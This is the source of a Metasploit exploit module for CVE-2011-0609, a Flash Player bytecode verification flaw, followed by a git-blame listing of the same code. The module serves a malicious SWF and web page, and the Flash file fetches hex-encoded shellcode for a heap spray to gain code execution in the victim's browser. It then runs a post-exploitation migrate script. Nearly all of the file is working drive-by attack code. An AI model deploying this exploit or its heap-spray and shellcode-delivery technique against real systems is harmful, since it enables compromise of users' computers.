modules/exploits/windows/browser/adobe_flashplayer_avm.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe Flash Player AVM Bytecode Verification Vulnerability',
      'Description'    => %q{
          This module exploits a vulnerability in Adobe Flash Player versions 10.2.152.33
        and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
        logic. This results in unsafe JIT(Just-In-Time) code being executed.  This is the same
        vulnerability that was used for the RSA attack in March 2011.

          Specifically, this issue results in uninitialized memory being referenced and later
        executed. Taking advantage of this issue relies on heap spraying and controlling the
        uninitialized memory.

          Currently this exploit works for IE6, IE7, and Firefox 3.6 and likely several
        other browsers. DEP does catch the exploit and causes it to fail. Due to the nature
        of the uninitialized memory its fairly difficult to get around this restriction.
        },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bannedit', # Metasploit version,
          'Unknown'   # Malcode version seen used in targeted attacks
        ],
      'References'     =>
        [
          ['CVE', '2011-0609'],
          ['OSVDB', '71254'],
          ['URL', 'http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html'],
          ['URL', 'http://www.adobe.com/devnet/swf.html'],
          ['URL', 'http://www.adobe.com/support/security/advisories/apsa11-01.html'],
          ['URL', 'http://www.f-secure.com/weblog/archives/00002226.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC'          => 'process',
          'HTTP::compression' => 'gzip',
          'HTTP::chunked'     => true,
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {}],
        ],
      'DisclosureDate' => '2011-03-15',
      'DefaultTarget'  => 0))
  end

  def exploit
    path = File.join( Msf::Config.data_directory, "exploits", "CVE-2011-0609.swf" )
    fd = File.open( path, "rb" )
    @swf = fd.read(fd.stat.size)
    fd.close

    super
  end

  def on_request_uri(cli, request)
    trigger = @swf
    trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
    shellcode = payload.encoded.unpack('H*')[0]
    obj_id = rand_text_alpha(rand(6)+3)

    if request.uri.match(/\.swf/i)
      print_status("Sending Exploit SWF")
      send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
      return
    end

    # we use a nice trick by having Flash request our shellcode and load it for the heap spray
    # src for the flash file: external/source/exploits/CVE-2011-0609/exploit.as
    if request.uri.match(/\.txt/i)
      send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
      return
    end

    html =  <<-EOS
    <html>
      <head>
      </head>
      <body>
    <center>
      <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
                 id="#{obj_id}" width="600" height="400"
                 codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
             <param name="movie" value="#{get_resource}#{trigger_file}" />
             <embed src="#{get_resource}#{trigger_file}" quality="high"
                 width="320" height="300" name="#{obj_id}" align="middle"
                 allowNetworking="all"
                 type="application/x-shockwave-flash"
                 pluginspage="http://www.macromedia.com/go/getflashplayer">
             </embed>

         </object>
    </center>

    </body>
    </html>
EOS

    print_status("Sending #{self.name} HTML")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`##`
use https for metaploit.com links 2017-07-24 06:26:21 -07:00			`# This module requires Metasploit: https://metasploit.com/download`
Redo the boilerplate / splat 2013-10-15 13:50:46 -05:00			`# Current source: https://github.com/rapid7/metasploit-framework`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`##`

use MetasploitModule as a class name 2016-03-08 14:02:44 +01:00			`class MetasploitModule < Msf::Exploit::Remote`
Updated exploit ranking and description to reflect the new ranking 2011-03-26 19:33:38 +00:00			`Rank = GoodRanking`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00
			`include Msf::Exploit::Remote::HttpServer::HTML`

			`def initialize(info = {})`
			`super(update_info(info,`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`'Name' => 'Adobe Flash Player AVM Bytecode Verification Vulnerability',`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`'Description' => %q{`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`This module exploits a vulnerability in Adobe Flash Player versions 10.2.152.33`
			`and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification`
Mention about the RSA attack in the description, also add a reference for it 2011-09-06 17:22:00 +00:00			`logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same`
			`vulnerability that was used for the RSA attack in March 2011.`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00
Msftidy: knocking out all those trailing spaces. Screw those guys. 2011-10-17 03:49:49 +00:00			`Specifically, this issue results in uninitialized memory being referenced and later`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`executed. Taking advantage of this issue relies on heap spraying and controlling the`
Msftidy: knocking out all those trailing spaces. Screw those guys. 2011-10-17 03:49:49 +00:00			`uninitialized memory.`
Updated exploit ranking and description to reflect the new ranking 2011-03-26 19:33:38 +00:00
Msftidy: knocking out all those trailing spaces. Screw those guys. 2011-10-17 03:49:49 +00:00			`Currently this exploit works for IE6, IE7, and Firefox 3.6 and likely several`
Updated exploit ranking and description to reflect the new ranking 2011-03-26 19:33:38 +00:00			`other browsers. DEP does catch the exploit and causes it to fail. Due to the nature`
			`of the uninitialized memory its fairly difficult to get around this restriction.`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`},`
			`'License' => MSF_LICENSE,`
			`'Author' =>`
			`[`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`'bannedit', # Metasploit version,`
			`'Unknown' # Malcode version seen used in targeted attacks`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`],`
			`'References' =>`
			`[`
			`['CVE', '2011-0609'],`
Revert "Land #6812 , remove broken OSVDB references" 2016-07-15 12:00:31 -05:00			`['OSVDB', '71254'],`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`['URL', 'http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html'],`
			`['URL', 'http://www.adobe.com/devnet/swf.html'],`
Mention about the RSA attack in the description, also add a reference for it 2011-09-06 17:22:00 +00:00			`['URL', 'http://www.adobe.com/support/security/advisories/apsa11-01.html'],`
			`['URL', 'http://www.f-secure.com/weblog/archives/00002226.html'],`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`],`
			`'DefaultOptions' =>`
			`{`
			`'EXITFUNC' => 'process',`
			`'HTTP::compression' => 'gzip',`
			`'HTTP::chunked' => true,`
Fix #8002 , Use post/windows/manage/priv_migrate instead of migrate -f 2017-02-23 17:04:36 -06:00			`'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`},`
			`'Payload' =>`
			`{`
			`'Space' => 1000,`
			`'BadChars' => "\x00",`
			`'DisableNops' => true`
			`},`
			`'Platform' => 'win',`
			`'Targets' =>`
			`[`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`[ 'Automatic', {}],`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`],`
Convert disclosure dates to iso8601 2020-10-02 17:38:06 +01:00			`'DisclosureDate' => '2011-03-15',`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`'DefaultTarget' => 0))`
			`end`

Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`def exploit`
Find and replace 2013-09-26 20:34:48 +01:00			`path = File.join( Msf::Config.data_directory, "exploits", "CVE-2011-0609.swf" )`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`fd = File.open( path, "rb" )`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`@swf = fd.read(fd.stat.size)`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`fd.close`
Solved most of msftidy issues with the /modules directory 2011-11-28 04:42:59 +00:00
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`super`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`end`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`def on_request_uri(cli, request)`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`trigger = @swf`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`trigger_file = rand_text_alpha(rand(6)+3) + ".swf"`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`shellcode = payload.encoded.unpack('H*')[0]`
			`obj_id = rand_text_alpha(rand(6)+3)`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00
			`if request.uri.match(/\.swf/i)`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`print_status("Sending Exploit SWF")`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })`
			`return`
			`end`

Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`# we use a nice trick by having Flash request our shellcode and load it for the heap spray`
			`# src for the flash file: external/source/exploits/CVE-2011-0609/exploit.as`
			`if request.uri.match(/\.txt/i)`
			`send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })`
			`return`
			`end`

Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`html = <<-EOS`
			`<html>`
			`<head>`
			`</head>`
			`<body>`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`<center>`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`id="#{obj_id}" width="600" height="400"`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">`
Lots of work to make this a lot more reliable =) 2011-03-26 06:35:28 +00:00			`<param name="movie" value="#{get_resource}#{trigger_file}" />`
			`<embed src="#{get_resource}#{trigger_file}" quality="high"`
			`width="320" height="300" name="#{obj_id}" align="middle"`
			`allowNetworking="all"`
			`type="application/x-shockwave-flash"`
			`pluginspage="http://www.macromedia.com/go/getflashplayer">`
			`</embed>`

Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`</object>`
			`</center>`

			`</body>`
			`</html>`
			`EOS`

Remove spurious cli.peerhost in output 2012-04-20 13:31:42 -06:00			`print_status("Sending #{self.name} HTML")`
Add CVE-2011-0609 exploit for Adobe Flash 2011-03-23 04:31:48 +00:00			`send_response(cli, html, { 'Content-Type' => 'text/html' })`
			`end`
Mention about the RSA attack in the description, also add a reference for it 2011-09-06 17:22:00 +00:00			`end`